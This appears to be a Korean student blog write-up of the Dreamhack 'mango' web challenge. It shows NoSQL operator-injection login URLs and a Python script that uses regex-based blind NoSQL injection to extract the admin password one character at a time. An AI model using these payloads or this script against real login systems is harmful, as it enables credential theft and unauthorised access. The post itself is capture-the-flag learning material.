김승현
[Dreamhack : Web] mango 본문
문제
db에 저장된 플래그를 얻으라고 하고 admin 계정의 비밀번호가 flag라고 한다.
풀이
문제에 접속하면 /login?uid=guest&upw=guest가 뜬다. 주소 뒤에 붙여보자.
guest로 로그인이 됐다. mongodb로 제작됐기 때문에 배운 걸 활용 + 검색한 내용으로 작성해 봤다.
http://host3.dreamhack.games:23138/login?uid[$gt]=ad.&upw[$ne]=
admin을 검색하려고 했는데 guest가 떴다. gt의 경우 입력값보다 필드의 값이 큰 경우를 가리킨다.
참고한 블로그! 다른 것들도 많아서 도움이 될 것 같다.
guest를 제외해보자.
uid에 guest를 제외했더니 dreamhack이 나왔다. 이 방법으론 절대 안 될 것 같으니 일단 blind noSQL injection을 해보자...
소스코드는 강의에서 그대로 가져오고 hostname이나 포트만 고쳤습니다!
소스 코드 분석 정보만...해보겠습니다..!
import requests, string # import한 내용들
HOST = 'http://host3.dreamhack.games' # hostname
ALPHANUMERIC = string.digits + string.ascii_letters
#ALPHANUMERIC 변수를 통해 모든 가능한 조합들을 가져옴 (영어 + 숫자)
SUCCESS = 'admin' # SUCCESS 변수를 쓰지 않고 바로 그냥 'admin'을 써도 가능함
flag = ''
for i in range(32): # 32번 반복
for ch in ALPHANUMERIC: # ch를 해당 변수만큼 반복(모든 글자를 일단 넣어봄)
response = requests.get(f'{HOST}:23138/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
# response 변수에 사이트에 admin의 password를 blind noSQL injection하는 코드
if response.text == SUCCESS: # 대답으로 오는 게 admin이라면
flag += ch # flag에 해당 글자를 넣고
break # ch에 대한 for문 종료
print(f'FLAG: DH{{{flag}}}') # flag 출력
의문)
근데 강의에 나왔던 password 길이를 알아내는 공격을 해봤었는데
9일 땐 admin, 10일 땐 undefined가 뜨니까 이건 9글자여야 되는 거 아닌가...?
'Web > Dreamhack : Web' 카테고리의 다른 글
[Dreamhack : Web] image-storage (0) | 2023.02.23 |
---|---|
[Dreamhack : Web] command-injection-1 (0) | 2023.02.22 |
[Dreamhack : Web ] simple_sqli (0) | 2023.02.22 |
[Dreamhack : Web] csrf-2 (0) | 2023.02.22 |
[Dreamhack : Web] csrf-1 (0) | 2023.02.22 |